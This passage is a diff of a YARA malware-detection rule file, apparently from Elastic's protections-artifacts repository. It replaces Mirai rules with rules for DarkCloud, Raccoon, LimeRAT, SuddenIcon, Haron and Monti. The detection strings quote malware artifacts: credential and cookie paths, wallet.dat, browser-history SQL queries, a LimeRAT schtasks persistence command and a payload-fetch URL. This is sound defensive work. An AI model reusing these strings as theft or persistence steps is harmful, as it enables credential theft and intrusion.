-		$a = { DF 77 95 8D 42 FA 3C 01 76 8E 80 FA 0B 74 89 80 FA 15 74 84 80 }
+		$decrypt_config_bytes = { 72 ?? ?? ?? 70 80 ?? ?? ?? 04 72 ?? ?? ?? 70 80 ?? ?? ?? 04 72 ?? ?? ?? 70 80 ?? ?? ?? 04 72 ?? ?? ?? 70 80 ?? ?? ?? 04 [0-6] 2A }
+		$str1 = "net.tcp://" wide
+		$str2 = "\\Discord\\Local Storage\\leveldb" wide
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Trojan_Mirai_Fe721Dc5 : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Darkcloud_9905Abce : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Mirai (Linux.Trojan.Mirai)"
+		description = "Detects Windows Trojan Darkcloud (Windows.Trojan.DarkCloud)"
 		author = "Elastic Security"
-		id = "fe721dc5-c2bc-4fa6-bdbc-589c6e033e6b"
-		date = "2021-01-12"
-		modified = "2021-09-16"
+		id = "9905abce-cbfc-4c92-aef6-38f2099eb5da"
+		date = "2023-05-03"
+		modified = "2023-06-13"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Mirai.yar#L1067-L1084"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		logic_hash = "e9312eefb5f14a27d96e973139e45098c2f62a24d5254ca24dea64b9888a4448"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_DarkCloud.yar#L1-L20"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "500cb8459c19acd5a1144c4b509c14dbddec74ad623896bfe946fde1cd99a571"
+		logic_hash = "27d3841d6acf87f5c9c03d643c7859d9eaf42e49ed0241b761f858c669c4e931"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "ab7f571a3a3f6b50b9e120612b3cc34d654fc824429a2971054ca0d078ecb983"
+		fingerprint = "5aeb210b37f4b2b4032917f53f2fb0422132aa1f8cddf0f47bccf50ff68ce00c"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { 89 18 EB E1 57 83 EC 08 8B 7C 24 10 8B 4C 24 14 8B 54 24 18 53 }
+		$a1 = { 8D 45 DC 57 57 6A 01 6A 11 50 6A 01 68 80 00 00 00 89 7D E8 89 }
+		$a2 = { C8 33 FF 50 57 FF D6 8D 4D DC 51 57 FF D6 C3 8B 4D F0 8B 45 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Trojan_Mirai_575F5Bc8 : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Raccoon_Af6Decc6 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Mirai (Linux.Trojan.Mirai)"
+		description = "Detects Windows Trojan Raccoon (Windows.Trojan.Raccoon)"
 		author = "Elastic Security"
-		id = "575f5bc8-b848-4db4-a99c-132d4d2bc8a4"
-		date = "2021-01-12"
-		modified = "2021-09-16"
+		id = "af6decc6-f917-4a80-b96d-1e69b8f8ebe0"
+		date = "2021-06-28"
+		modified = "2021-08-23"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Mirai.yar#L1086-L1103"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		logic_hash = "dec143d096f5774f297ce90ef664ae50c40ae4f87843bbb34e496565c0faf3b2"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_Raccoon.yar#L1-L20"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "fe09bef10b21f085e9ca411e24e0602392ab5044b7268eaa95fb88790f1a124d"
+		logic_hash = "50ec446e8fd51129c7333c943dfe62db099fe1379530441f6b102fcbe3bc0dbd"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "58e22a2acd002b07e1b1c546e8dfe9885d5dfd2092d4044630064078038e314f"
+		fingerprint = "f9314a583040e4238aab7712ac16d7638a3b7c9194cbcf2ea9b4516c228c546b"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { 5A 56 5B 5B 55 42 44 5E 59 52 44 44 00 5E 73 5E 45 52 54 43 00 }
+		$a1 = "A:\\_Work\\rc-build-v1-exe\\json.hpp" wide fullword
+		$a2 = "\\stealler\\json.hpp" wide fullword
 
 	condition:
-		all of them
+		any of them
 }
-rule ELASTIC_Linux_Trojan_Mirai_449937Aa : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Raccoon_58091F64 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Mirai (Linux.Trojan.Mirai)"
+		description = "Detects Windows Trojan Raccoon (Windows.Trojan.Raccoon)"
 		author = "Elastic Security"
-		id = "449937aa-682a-4906-89ab-80d7127e461e"
-		date = "2021-01-12"
-		modified = "2021-09-16"
+		id = "58091f64-2118-47f8-bcb2-407a3c62fa33"
+		date = "2021-06-28"
+		modified = "2021-08-23"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Mirai.yar#L1105-L1123"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "6f27766534445cffb097c7c52db1fca53b2210c1b10b75594f77c34dc8b994fe"
-		logic_hash = "d459e46893115dbdef46bcaceb6a66255ef3a389f1bf7173b0e0bd0d8ce024fb"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_Raccoon.yar#L22-L40"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "fe09bef10b21f085e9ca411e24e0602392ab5044b7268eaa95fb88790f1a124d"
+		logic_hash = "8a7388e9c3dd0dd1a79215dbabcd964a0afa883490611afb6bb500635fbfff9a"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "cf2c6b86830099f039b41aeaafbffedfb8294a1124c499e99a11f48a06cd1dfd"
+		fingerprint = "ea819b46ec08ba6b33aa19dcd6b5ad27d107a8e37f3f9eb9ff751fe8e1612f88"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { 00 00 5B 72 65 73 6F 6C 76 5D 20 46 6F 75 6E 64 20 49 50 20 }
+		$a = { 74 FF FF FF 10 8D 4D AC 53 6A 01 8D 85 60 FF FF FF 0F 43 85 60 FF }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Trojan_Mirai_2E3F67A9 : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Raccoon_Deb6325C : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Mirai (Linux.Trojan.Mirai)"
+		description = "Detects Windows Trojan Raccoon (Windows.Trojan.Raccoon)"
 		author = "Elastic Security"
-		id = "2e3f67a9-6fd5-4457-a626-3a9015bdb401"
-		date = "2021-01-12"
-		modified = "2021-09-16"
+		id = "deb6325c-5556-44ce-a184-6369105485d5"
+		date = "2022-06-28"
+		modified = "2022-07-18"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Mirai.yar#L1125-L1143"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "fc8741f67f39e7409ab2c6c62d4f9acdd168d3e53cf6976dd87501833771cacb"
-		logic_hash = "8c83c5d32c58041444f33264f692a7580c76324d2cbad736fdd737bdfcd63595"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_Raccoon.yar#L42-L63"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "f7b1aaae018d5287444990606fc43a0f2deb4ac0c7b2712cc28331781d43ae27"
+		logic_hash = "94f70c60ed4fab021e013cf6a632321e0e1bdeef25a48a598d9e7388e7e445ca"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "6a06815f3d2e5f1a7a67f4264953dbb2e9d14e5f3486b178da845eab5b922d4f"
+		fingerprint = "17c34b5b9a0211255a93f9662857361680e72a45135d6ea9b5af8d77b54583b9"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { 53 83 EC 04 0F B6 74 24 14 8B 5C 24 18 8B 7C 24 20 0F B6 44 }
+		$a1 = "\\ffcookies.txt" wide fullword
+		$a2 = "wallet.dat" wide fullword
+		$a3 = "0Network\\Cookies" wide fullword
+		$a4 = "Wn0nlDEXjIzjLlkEHYxNvTAXHXRteWg0ieGKVyD52CvONbW7G91RvQDwSZi/N2ISm4xEWRKYJwjnYUGS9OZmj/TAie8jG07EXEcO8D7h2m2lGzWnFG31R1rsxG1+G8E="
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Trojan_Mirai_01E4A728 : FILE MEMORY
+rule ELASTIC_Windows_Ransomware_Haron_A1C12E7E : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Mirai (Linux.Trojan.Mirai)"
+		description = "Direct overlap with Thanos/Avaddon"
 		author = "Elastic Security"
-		id = "01e4a728-7c1c-479b-aed0-cb76d64dbb02"
-		date = "2021-01-12"
-		modified = "2021-09-16"
+		id = "a1c12e7e-a740-4d26-a0ed-310a2b03fe50"
+		date = "2021-08-03"
+		modified = "2021-10-04"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Mirai.yar#L1145-L1162"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		logic_hash = "753936b97a36c774975a1d0988f6f908d4b5e5906498aa34c606d4cd971f1ba5"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Ransomware_Haron.yar#L1-L20"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "6e6b78a1df17d6718daa857827a2a364b7627d9bfd6672406ad72b276014209c"
+		logic_hash = "84df5a13495acee5dc2007cf1d6e1828a832d46fcbad2ca8676643fd47756248"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "d90477364982bdc6cd22079c245d866454475749f762620273091f2fab73c196"
-		severity = 100
+		fingerprint = "c6abe96bd2848bb489f856373356dbad3fca273e9d71394ec22960070557ad11"
+		threat_name = "Windows.Ransomware.Haron"
+		severity = 90
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { 44 24 23 48 8B 6C 24 28 83 F9 01 4A 8D 14 20 0F B6 02 88 45 08 }
+		$a1 = { 00 04 28 0E 00 00 0A 06 FE 06 2A 00 00 06 73 0F 00 00 0A 28 }
 
 	condition:
-		all of them
+		any of them
 }
-rule ELASTIC_Linux_Trojan_Mirai_64D5Cde2 : FILE MEMORY
+rule ELASTIC_Windows_Ransomware_Haron_23B76Cb7 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Mirai (Linux.Trojan.Mirai)"
+		description = "Direct overlap with Thanos/Avaddon"
 		author = "Elastic Security"
-		id = "64d5cde2-e4b1-425b-8af3-314a5bf519a9"
-		date = "2021-01-12"
-		modified = "2021-09-16"
+		id = "23b76cb7-6f96-4012-ad66-2e4e4ae744a9"
+		date = "2021-08-03"
+		modified = "2021-10-04"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Mirai.yar#L1164-L1182"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "caf2a8c199156db2f39dbb0a303db56040f615c4410e074ef56be2662752ca9d"
-		logic_hash = "08f3635e5517185cae936b39f503bbeba5aed2e36abdd805170a259bc5e3644f"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Ransomware_Haron.yar#L22-L41"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "6e6b78a1df17d6718daa857827a2a364b7627d9bfd6672406ad72b276014209c"
+		logic_hash = "e53c92be617444da0057680ee1ac45cbc1f707194281644bececa44e4ebe3580"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "1a69f91b096816973ce0c2e775bcf2a54734fa8fbbe6ea1ffcf634ce2be41767"
-		severity = 100
+		fingerprint = "9dc91a56ef17873f3e833d85fa947facde741d80a574ae911261e553a40a2731"
+		threat_name = "Windows.Ransomware.Haron"
+		severity = 90
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { 0F 35 7E B3 02 00 D0 02 00 00 07 01 00 00 0E 00 00 00 18 03 00 }
+		$a1 = { 0A 28 06 00 00 06 26 DE 0A 08 2C 06 08 6F 48 00 00 0A DC DE }
 
 	condition:
-		all of them
+		any of them
 }
-rule ELASTIC_Linux_Trojan_Mirai_0D73971C : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Limerat_24269A79 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Mirai (Linux.Trojan.Mirai)"
+		description = "Detects Windows Trojan Limerat (Windows.Trojan.Limerat)"
 		author = "Elastic Security"
-		id = "0d73971c-4253-4e7d-b1e1-20b031197f9e"
-		date = "2021-01-12"
-		modified = "2021-09-16"
+		id = "24269a79-0172-4da5-9b4d-f61327072bf0"
+		date = "2021-08-17"
+		modified = "2021-10-04"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Mirai.yar#L1184-L1202"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "49c94d184d7e387c3efe34ae6f021e011c3046ae631c9733ab0a230d5fe28ead"
-		logic_hash = "56f3bac05fce0a0458e5b80197335e7bef6dcd50b9feb6f1008b8679f29cf37a"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_Limerat.yar#L1-L19"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "ec781a714d6bc6fac48d59890d9ae594ffd4dbc95710f2da1f1aa3d5b87b9e01"
+		logic_hash = "053a6abe589db23c4b9baed24729c8bcdd9019535fd0d9efc60ab4035c9779f3"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "95279bc45936ca867efb30040354c8ff81de31dccda051cfd40b4fb268c228c5"
+		fingerprint = "cb714cd787519216d25edaad9f89a9c0ce1b8fbbbcdf90bda4c79f5d85fdf381"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { 89 C2 83 EB 04 C1 E2 0B 31 C2 89 F0 C1 E8 13 89 D1 31 F0 C1 }
+		$a1 = "schtasks /create /f /sc ONLOGON /RL HIGHEST /tn LimeRAT-Admin /tr \"'" wide fullword
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Trojan_Mirai_82C361D4 : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Suddenicon_99487621 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Mirai (Linux.Trojan.Mirai)"
+		description = "Detects Windows Trojan Suddenicon (Windows.Trojan.SuddenIcon)"
 		author = "Elastic Security"
-		id = "82c361d4-2adf-48f2-a9be-677676d7451f"
-		date = "2021-01-12"
-		modified = "2021-09-16"
-		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Mirai.yar#L1204-L1222"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "f8dbcf0fc52f0c717c8680cb5171a8c6c395f14fd40a2af75efc9ba5684a5b49"
-		logic_hash = "766a964d7d35525fbc88adcf86fb69d11f9c63c0d28ceefb3ae79797a7161193"
+		id = "99487621-88c4-40f6-918a-f1276cc2d2a7"
+		date = "2023-03-29"
+		modified = "2023-03-30"
+		reference = "https://www.elastic.co/security-labs/elastic-users-protected-from-suddenicon-supply-chain-attack"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_SuddenIcon.yar#L1-L26"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "aa4e398b3bd8645016d8090ffc77d15f926a8e69258642191deb4e68688ff973"
+		logic_hash = "9a441c47e8b95d8aaec6f495d6ddfec2ed6b0762637ea48e64c9ea01b0945019"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "a8a4252c6f7006181bdb328d496e0e29522f87e55229147bc6cf4d496f5828fb"
+		fingerprint = "b16f7de530ed27c42bffec4bcfc1232bad34cdaf4e7a9803fce0564e12701ef1"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { 23 CB 67 4C 94 11 6E 75 EC A6 76 98 23 CC 80 CF AE 3E A6 0C }
+		$str1 = "https://raw.githubusercontent.com/IconStorages/images/main/icon%d.ico" wide fullword
+		$str2 = "__tutma" ascii fullword
+		$str3 = "__tutmc" ascii fullword
+		$str4 = "%s: %s" ascii fullword
+		$str5 = "%s=%s" ascii fullword
+		$seq_obf = { C1 E1 ?? 33 C1 45 8B CA 8B C8 C1 E9 ?? 33 C1 81 C2 ?? ?? ?? ?? 8B C8 C1 E1 ?? 33 C1 41 8B C8 }
+		$seq_virtualprotect = { FF 15 ?? ?? ?? ?? 85 C0 74 ?? FF D5 48 85 C0 74 ?? 81 7B ?? CA 7D 0F 00 75 ?? 48 8D 54 24 ?? 48 8D 4C 24 ?? FF D0 8B F8 44 8B 44 24 ?? 4C 8D 4C 24 ?? BA 00 10 00 00 48 8B CD FF 15 ?? ?? ?? ?? }
 
 	condition:
-		all of them
+		5 of ($str*) or 2 of ($seq*)
 }
-rule ELASTIC_Linux_Trojan_Mirai_Ec591E81 : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Suddenicon_8B07C275 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Mirai (Linux.Trojan.Mirai)"
+		description = "Detects Windows Trojan Suddenicon (Windows.Trojan.SuddenIcon)"
 		author = "Elastic Security"
-		id = "ec591e81-8594-4317-89b0-0fb4d43e14c1"
-		date = "2021-01-12"
-		modified = "2021-09-16"
-		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Mirai.yar#L1224-L1242"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "7d45a4a128c25f317020b5d042ab893e9875b6ff0ef17482b984f5b3fe87e451"
-		logic_hash = "f2a147fe7f98d2b3141a1fda118ee803c81d9bc6f498bfaf3557665397eb44da"
+		id = "8b07c275-f389-4e55-bcec-4b1344cad33d"
+		date = "2023-03-29"
+		modified = "2023-03-30"
+		reference = "https://www.elastic.co/security-labs/elastic-users-protected-from-suddenicon-supply-chain-attack"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_SuddenIcon.yar#L28-L48"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "aa4e398b3bd8645016d8090ffc77d15f926a8e69258642191deb4e68688ff973"
+		logic_hash = "64e8bd8929c9fb8cae16f772e3266b02b4ddec770ff8d5379a93a483eb8ff660"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "fe3d305202ca5376be7103d0b40f746fc26f8e442f8337a1e7c6d658b00fc4aa"
+		fingerprint = "482f1e668ab63be44a249274e0eaa167e1418c42a8f0e9e85b26e4e23ff57a0d"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { 22 01 00 00 0E 00 00 00 18 03 00 7F E9 38 32 C9 4D 04 9A 3C }
+		$str1 = { 33 C9 E8 ?? ?? ?? ?? 48 8B D8 E8 ?? ?? ?? ?? 44 8B C0 B8 ?? ?? ?? ?? 41 F7 E8 8D 83 ?? ?? ?? ?? C1 FA ?? 8B CA C1 E9 ?? 03 D1 69 CA ?? ?? ?? ?? 48 8D 55 ?? 44 2B C1 48 8D 4C 24 ?? 41 03 C0 }
+		$str2 = { B8 ?? ?? ?? ?? 41 BA ?? ?? ?? ?? 0F 11 84 24 ?? ?? ?? ?? 44 8B 06 8B DD BF ?? ?? ?? ?? }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Trojan_Mirai_0Eba3F5A : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Suddenicon_Ac021Ae0 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Mirai (Linux.Trojan.Mirai)"
+		description = "Detects Windows Trojan Suddenicon (Windows.Trojan.SuddenIcon)"
 		author = "Elastic Security"
-		id = "0eba3f5a-1aa8-4dc8-9f63-01bc4959792a"
-		date = "2021-01-12"
-		modified = "2021-09-16"
-		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Mirai.yar#L1244-L1262"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "2e4f89c76dfefd4b2bfd1cf0467ac0324026355723950d12d7ed51195fd998cf"
-		logic_hash = "bcb2f1e1659102f39977fac43b119c58d6c72f828c3065e2318f671146e911da"
+		id = "ac021ae0-67c6-45cf-a467-eb3c2b84b3e4"
+		date = "2023-03-30"
+		modified = "2023-03-30"
+		reference = "https://www.elastic.co/security-labs/elastic-users-protected-from-suddenicon-supply-chain-attack"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_SuddenIcon.yar#L50-L76"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		logic_hash = "033eabdd8ce8ecc4e1a657161c1f298c7dfe536ee2dbf9375cfda894638a7bee"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "c0f4f9a93672bce63c9e3cfc389c73922c1c24a2db7728ad7ebc1d69b4db150f"
+		fingerprint = "115d4fc78bae7b5189a94b82ffd6547dfe89cfb66bf59d0e1d77c10fb937d2f7"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { C3 55 48 89 E5 48 83 EC 40 48 89 7D C8 89 F0 66 89 45 C4 C7 45 DC 01 00 }
+		$str1 = "%s\\%s\\%s\\%s" wide fullword
+		$str2 = "%s.old" wide fullword
+		$str3 = "\n******************************** %s ******************************\n\n" wide fullword
+		$str4 = "HostName: %s\\r\\nDomainName: %s\\r\\nOsVersion: %d.%d.%d\\r\\n\\r\\n" wide fullword
+		$str5 = "%s\\r\\nDomainName: %s\\r\\nOsVersion: %d.%d.%d\\r\\n\\r\\n" wide fullword
+		$str6 = "AppData\\Local\\Google\\Chrome\\User Data" wide fullword
+		$str7 = "SELECT url, title FROM urls ORDER BY id DESC LIMIT 500" wide fullword
+		$str8 = "SELECT url, title FROM moz_places ORDER BY id DESC LIMIT 500" wide fullword
+		$b1 = "\\3CXDesktopApp\\config.json" wide fullword
 
 	condition:
-		all of them
+		6 of ($str*) or 1 of ($b*)
 }
-rule ELASTIC_Linux_Trojan_Mirai_E43A8744 : FILE MEMORY
+rule ELASTIC_Linux_Ransomware_Monti_9C64F016 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Mirai (Linux.Trojan.Mirai)"
+		description = "Detects Linux Ransomware Monti (Linux.Ransomware.Monti)"
 		author = "Elastic Security"
-		id = "e43a8744-1c52-4f95-bd16-be6722bc4d1a"
-		date = "2021-01-12"
-		modified = "2021-09-16"
+		id = "9c64f016-0fd9-41bf-8916-cdf3a35efdd6"
+		date = "2023-07-27"
+		modified = "2024-02-13"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Mirai.yar#L1264-L1282"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "f363d9bd2132d969cd41e79f29c53ef403da64ca8afc4643084cc50076ddfb47"
-		logic_hash = "17c52d2b720fa2e98c3e9bb077525a695a6e547a66e8c44fcc1e26e48df81adf"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Ransomware_Monti.yar#L1-L22"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "ad8d1b28405d9aebae6f42db1a09daec471bf342e9e0a10ab4e0a258a7fa8713"
+		logic_hash = "c22a4efaaf97d68deaf1978e637dd7f790541e5007c6323629bcc9e3d4eecd06"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "e7ead3d1a51f0d7435a6964293a45cb8fadd739afb23dc48c1d81fbc593b23ef"
+		fingerprint = "af28cc97eed328f3b2b0181784545e41a521e9dfff09a504177cb56929606b84"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -70173,662 +74470,737 @@ rule ELASTIC_Linux_Trojan_Mirai_E43A8744 : FILE MEMORY
 		os = "linux"
 
 	strings:
-		$a = { 23 01 00 00 0E 00 00 00 18 03 00 7F E9 38 32 C9 4D 04 9A 3C }
+		$a1 = "[%s] Flag doesn't equal MONTI."
+		$a2 = "--vmkill Whether to kill the virtual machine"
+		$a3 = "MONTI strain."
+		$a4 = "http://monti"
 
 	condition:
-		all of them
+		2 of them
 }
-rule ELASTIC_Linux_Trojan_Mirai_6E8E9257 : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Generic_A681F24A : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Mirai (Linux.Trojan.Mirai)"
+		description = "Detects Windows Trojan Generic (Windows.Trojan.Generic)"
 		author = "Elastic Security"
-		id = "6e8e9257-a6d5-407a-a584-4656816a3ddc"
-		date = "2021-01-12"
-		modified = "2021-09-16"
+		id = "a681f24a-7054-4525-bcf8-3ee64a1d8413"
+		date = "2021-06-10"
+		modified = "2021-08-23"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Mirai.yar#L1284-L1301"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
